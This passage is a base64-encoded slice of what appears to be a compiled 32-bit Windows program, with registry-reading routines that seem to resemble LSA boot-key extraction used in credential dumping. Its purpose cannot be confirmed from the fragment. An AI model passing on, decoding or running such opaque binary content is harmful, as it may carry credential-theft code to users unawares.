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Qi0XAcwONRcA4GA+OBQEAAP91vItdtI1F3OgLf/7/hfZ1D2ow/3WwjU3c6I1//v/rLIN9uAB1EWow/3WojU3c6Hh//v+DZagAajD/dbCL/it9vI113OiScv7/i32gi124ajCF23UN/3WojU3c6Et//v/rJCtdvP91lI17AY113Ohocv7/ajD/daiL++hccv7/g2WUAIt9oINlqACDfdQQi13AcwONXcCDffAQi0XccwONRdyNTaxRUOhhjQAAWVmJRbjrMITAfjKLTbgrTZwPvsA7wXMlKUW4i324agBqAY113OgFcv7/jUMBgDgAfgKL2It9oIoDPH91yoN98BCLRdxzA41F3INlsACJRbyLReyJRbQz24tFsANFtItPIANFlANFqDlfJHwRfwQ7y3YLO8h2ByvIiU246wOJXbiLRxQlwAEAAIP4QHRbPQABAAB1LzldnHYqi0W8agH/dSiNfZj/dSToxgQAAIsIi32gg8QM/0W8/020iU0ki0AEiUUo/3W4jXWY/3WI/3Uo/3Uk6OkDAACLCIlNJItABIlduIlFKIPEEA++Raz/dbRQ/3W86HmLAACDxAw7ww+EngAAAP91KCtFvP91JI1YAf91pI1D/1CNRZhQi0W86IkEAACLCIPEFP91qIlNJItIBIlNKGow/3AEjXWY/zDofgMAAIsIiU0ki0AEi02QiUUoiwGDxBD/UARqAYhFkP91kI11mP91KP91JOhSAwAAiwj/dZSJTSSLSASJTShqMP9wBI11jP8w6DUDAACLCAFdvCldtIlNJItABIPEIIlFKDPb/3W0amX/dbzow4oAAIPEDDvDD4SKAAAA/3UoK0W8/3UkQP91pIlFkEhQjUWYUItFvOjUAwAAiwiDxBT/dbCJTSSLSASJTShqMP9wBI11mP8w6MkCAACLCIlNJItIBIPEEPZHFASJTSiJXbC5PBcEEHUFuUAXBBBqAf9wBI19mP8wi8HoSQMAAIsIi32giU0ki0AEiUUoi0WQAUW8g8QMKUW0/3UojUWM/3Uk/3Wk/3W0UItFvOhQAwAAiwiDxBT/dbCJTSSLSASJTShqMP9wBI11jP8w6EUCAACLCP91uIt1CP91iIlNJItABFBRiUUoiV8giV8k6CQCAACDxCBTagGNTdzoA2T+/1NqAY1NwOj4Y/7/i034X4vGXjPNW+gShAAAycNVi+yD7ESh0AYFEDPFiUX4ikUMiEXEi0UQVolF2ItDMFeL+YsIiX3UiU3Q6BZK/v+NRdBQ6FYHAABZi/CNTdCJdcjog0r+/4sGjU3cUYvO/1AMigc8K3QiPC10HjwwdRSKRwE8eHQEPFh1CcdF0AIAAADrDYNl0ADrB8dF0AEAAACDffAQi03ci8FzA41F3IA4f3Rxg33wEIvBcwONRdyAOAB+YYN98BByBYlNwOsGjUXciUXAi3XY60KEwH5Hi84rTdAPvsA7wXM7K/CLRdgrxkBQA/5XUItF1I1EMAFQ6DuDAACLRcCDxBD/RdhAxgcAgDgAfgOJRcCLfdSLRcCKADx/dbWDeyQAi3MgfBB/BIX2dAo7ddh2BSt12OsCM/aLQxQlwAEAAIP4QHRpPQABAAB0FFb/dcSNdcz/dRj/dRTotAAAAOs+/3XQi8f/dRiNfbz/dRToUQEAAIsIg8QMiU0Ui0gEVv91xIlNGP9wBItN0P8wAU3UKU3YjXXM6HcAAACLfdSLCIlNFItABIPEEDP2iUUYi03IiwH/UAj/dRiIRcj/dRSNRcz/dcj/ddhQi8foLQEAAIsIg8QUVv91xIt1CIlNFItABFAz/1GJRRiJeyCJeyToHgAAAIPEEFdqAY1N3Oj9Yf7/i034X4vGM81e6BiCAADJw1WL7IN9FAB2HYtNDIXJdA2KVRDoPu///4P4/3UExkUIAf9NFHXji0UIiQaLRQyJRgSLxl3DVovx/3YIxwYEhwQQ6D6IAAD/dhDoNogAAP92FOguiAAAg8QMxwbc5AMQXsOKQQzDikENw1WL7P9xEItNCOgUVv7/i0UIXcIEAFWL7P9xFItNCOj/Vf7/i0UIXcIEAFWL7FaL8eiX////9kUIAXQHVujlhwAAWYvGXl3CBABVi+xWi/DrG4tNDIoWhcl0CuiO7v//g/j/dQTGRQgB/00QRoN9EAB334tFCIkHi0UMiUcEi8deXcNVi+yD7BhTVleL2It1DFZqAFPor4YAAIPEDIXAdAQrw4vwVv91GIvD/3UUjX306JT///+LCIlNFItIBIPEDAPeKXUMiU0YdCyAfRAAdCBqAf91EI117P9wBP8w6LX+//+LCIlNFItABIPEEIlFGEP/TQzrl4sQi00Ii0AEX16JQQSJEYvBW8nDVYvsg+wUVldqAI1N+Oj1ZQAAizXsMAUQuYgeBRCJdfzof0b+/4tNCFDoR0f+/4v4hf91TYX2dASL/utF/3UIjUX8UOhtzv//WVmD+P91G2hUFwQQjU3s6I2BAABo7MQEEI1F7FDoNbgAAIt9/IvPiT3sMAUQ6F9G/v9X6A5hAABZjU346KZlAACLx19eycNqFLi9ywMQ6Ge8AACLfQiDZewAi0UMi3AQiweL